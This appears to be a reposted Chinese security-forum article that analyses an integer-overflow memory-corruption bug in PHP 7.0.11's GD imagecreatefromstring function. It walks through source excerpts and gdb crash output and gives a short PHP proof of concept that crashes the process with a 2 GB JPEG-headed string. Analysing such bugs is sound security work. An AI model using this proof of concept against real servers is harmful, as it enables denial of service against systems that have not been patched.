您的位置 首页 > 娱乐休闲

PHP7漏洞挖掘系列之一:Stack-based ……

原文首发:看雪论坛

0x01 前言

首先声明这些漏洞不是我挖的,我想挖但是挖不出来,蛋疼。本次讲解栈溢出漏洞,这个漏洞是比较常见的漏洞,现在 php 里面不太常见了,php 漏洞挖掘没有啥好工具,只能人工慢慢的看,afl 好像可以自动化挖掘,不过我跑了 10几天也没跑出个crash。

包含漏洞的版本:PHP 7.0.11

0x02 漏洞分析

首先下载源码,然后编译安装,版本可以低一点,往后的漏洞这个版本都是没打补丁的。环境采用 ubuntu 和编译版本的 ,只有 linux 才有符号表,windows 下不好调试,虽然方便的多。现在正式开始吧。

定位到漏洞函数代码 /ext/gd

PHP_FUNCTION(imagecreatefromstring)

{

zval *data;

gdImagePtr im;

int imtype;

char sig[8];

if (zend_parse_parameters(ZEND_NUM_ARGS(), "z", &data) == FAILURE) {

return;

}

convert_to_string_ex(data);

if (Z_STRLEN_P(data) < 8) {

php_error_docref(NULL, E_WARNING, "Empty string or invalid image");

RETURN_FALSE;

}

memcpy(sig, Z_STRVAL_P(data), 8);

imtype = _php_image_type(sig);

switch (imtype) {

case PHP_GDIMG_TYPE_JPG:

#ifdef HAVE_GD_JPG

im = _php_image_create_from_string(data, "JPEG", gdImageCreateFromJpegCtx);

#else

php_error_docref(NULL, E_WARNING, "No JPEG support in this PHP build");

RETURN_FALSE;

#endif

break;

case PHP_GDIMG_TYPE_PNG:

#ifdef HAVE_GD_PNG

im = _php_image_create_from_string(data, "PNG", gdImageCreateFromPngCtx);

#else

php_error_docref(NULL, E_WARNING, "No PNG support in this PHP build");

RETURN_FALSE;

#endif

break;

case PHP_GDIMG_TYPE_GIF:

im = _php_image_create_from_string(data, "GIF", gdImageCreateFromGifCtx);

break;

case PHP_GDIMG_TYPE_WBM:

im=_php_image_create_from_string(data,"WBMP", gdImageCreateFromWBMPCtx);

break;

case PHP_GDIMG_TYPE_GD2:

im = _php_image_create_from_string(data, "GD2", gdImageCreateFromGd2Ctx);

break;

default:

php_error_docref(NULL, E_WARNING, "Data is not in a recognized format");

RETURN_FALSE;

}

if (!im) {

php_error_docref(NULL, E_WARNING, "Couldn't create GD Image Stream out of Data");

RETURN_FALSE;

}

RETURN_RES(zend_register_resource(im, le_gd));

}

有可能上面的代码长了点,但是只要找到关键函数就行了_php_image_create_from_string,在这个函数中的 gdNewDynamicCtxEx 这个函数才是关键点,跟踪进去就行了。在 gd.c:2196 行,假如你使用其他版本可能行号不一样,不过没事搜索函数就行了。

gdImagePtr _php_image_create_from_string(zval *data, char *tn, gdImagePtr (*ioctx_func_p)())

{

gdImagePtr im;

gdIOCtx *io_ctx;

io_ctx = gdNewDynamicCtxEx(Z_STRLEN_P(data),Z_STRVAL_P(data), 0); //这边的传入参数的长度为0x80000000 由于是int,所以这边整数溢出。

………………………………………………………………………………

gdNewDynamicCtxEx函数代码,行号就不说了。

gdIOCtx * gdNewDynamicCtxEx (int initialSize, void *data, int freeOKFlag)

{

dpIOCtx *ctx;

dynamicPtr *dp;

ctx = (dpIOCtx *) gdMalloc (sizeof (dpIOCtx));

dp = newDynamic(initialSize, data, freeOKFlag);

ctx->dp = dp; //这边将initialSize 赋值了

ctx->c =dynamicGetchar; //这边造成栈溢出,跟踪进去进行了。

………………………………………………………………………………

newDynamic函数代码

static dynamicPtr * newDynamic (int initialSize, void *data, int freeOKFlag)

{

dynamicPtr *dp;

dp = (dynamicPtr *) gdMalloc (sizeof (dynamicPtr)); // 这边申请了64个字节

allocDynamic (dp, initialSize, data);

………………………………………………………..

static int

allocDynamic (dynamicPtr * dp, int initialSize, void *data)

{

if (data == NULL) {

dp->logicalSize = 0;

dp->dataGood = FALSE;

dp->data = gdMalloc(initialSize); 这里的initialSize的值为-2147483648

} else {

dp->logicalSize = initialSize;

dp->dataGood = TRUE;

dp->data = data;

}

……………………………………………….

static int dynamicGetchar (gdIOCtxPtr ctx)

{

unsigned char b;

int rv;

rv = dynamicGetbuf (ctx, &b, 1);

………………………………………………………………………………

static int dynamicGetbuf (gdIOCtxPtr ctx, void *buf, int len)

{

int rlen, remain;

dpIOCtxPtr dctx;

dynamicPtr *dp;

dctx = (dpIOCtxPtr) ctx;

dp = dctx->dp;

remain = dp->logicalSize - dp->pos;

if (remain >= len) {

rlen = len;

} else {

if (remain == 0) {

return EOF;

}

rlen = remain;//上面的remain 的值为负数,没有检查,直接比较后赋值,所以导致下面的rlen的值过大造成栈溢出。

}

memcpy(buf, (void *) ((char *) dp->data + dp->pos), rlen); //这边造成了栈溢出

下面是几个结构体,可以对照着去理解代码。

ypedef struct gdIOCtx {

int (*getC)(struct gdIOCtx*);

int (*getBuf)(struct gdIOCtx*, void*, int);

void (*putC)(struct gdIOCtx*, int);

int (*putBuf)(struct gdIOCtx*, const void*, int);

int (*seek)(struct gdIOCtx*, const int);

long (*tell)(struct gdIOCtx*);

void (*gd_free)(struct gdIOCtx*);

void *data;

} gdIOCtx;

………………………………………………………………………………

typedef struct dpStruct

{

void *data;

int logicalSize;

int realSize;

int dataGood;

int pos;

int freeOK;

} dynamicPtr;

………………………………………………………………………………

typedef struct dpIOCtx

{

gdIOCtx ctx;

dynamicPtr *dp;

} dpIOCtx;

………………………………………………………………………………

下面是 gdb 的调试信息,不知道为什么参数的值没有显示出来。有些代码直接阅读比较麻烦,可以 gdb 调试代码,再调试的同时,打印出它的值。

root@mhn:~# gdb -q --args -n

Reading symbols from ...done.

(gdb) r

Starting program: /root/ -n

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/x86_64-linux-gnu;.

Program received signal SIGSEGV, Segmentation fault.

__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarc

118 ../sysdeps/x86_64/multiarc: No such file or directory.

(gdb) bt

#0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarc

#1 0x000000000059c1cf in memcpy (__len=18446744071562067968, __src=, __dest=) at /usr/include/x86_64-linux-gnu/bi

#2 dynamicGetbuf (ctx=, buf=, len=) at /roo

#3 0x000000000059dd05 in php_gd_fill_input_buffer (cinfo=0x7fffffffaa70) at /roo

#4 0x00007ffff73144e6 in ?? () from /usr/lib/x86_64-linux-gnu

#5 0x00007ffff73129ca in ?? () from /usr/lib/x86_64-linux-gnu

poc 就放下面了:

ini_set('memory_limit',-1);

$var_3 = str_repeat("A",0x80000000);

$var_3[0]="\xff";

$var_3[1]="\xd8";

$var_3[2]="\xff";

imagecreatefromstring($var_3);

这边为什么要替换变量的值呢,由于它上面会检查文件头是否为真实的图片。所以我这边用了 jpg 的文件头,应该是吧,我也忘了啥文件头,反正只要网上搜索一下图片的文件头就行了。

0x03 小结

说实话我也是初学者,只能这样写一篇文章了,网上的 php 底层的漏洞挖掘太少了,就只有应用层的代码审计,希望能够给初学者们帮助吧。如果写的有啥不对的地方欢迎指出。

参考链接

精彩评论

如果是 7.0.11 那么应该会有不少环境都包含此漏洞,理论上能拿到 php 进程权限,可能是 www,也可能是 root,威胁还是很大的。不过在实际的项目中这个函数 image_create_from_string() 使用的频度不太高。

建议还在使用 PHP 7 低版本的用户尽快升级到最新版本,避免服务器遭到入侵。

本文由看雪论坛 hackyzh 原创

❤ 往期热门内容推荐

看雪众测及其渗透测试服务介绍

国产电纸书 Bambook 破解笔记(一)

HG533路由器分析教程之三:数据流跟踪

WEB渗透测试中回显的一些技巧

报名 |《走近企业看安全》第10站 知道创宇

......

更多优秀文章,“关注看雪学院公众号”查看!

看雪论坛:

微信公众号 ID:ikanxue

微博:看雪安全

投稿、合作:

责任编辑: 鲁达

1.内容基于多重复合算法人工智能语言模型创作,旨在以深度学习研究为目的传播信息知识,内容观点与本网站无关,反馈举报请
2.仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证;
3.本站属于非营利性站点无毒无广告,请读者放心使用!

“PHP7漏洞挖掘系列之一:Stackbased,……”边界阅读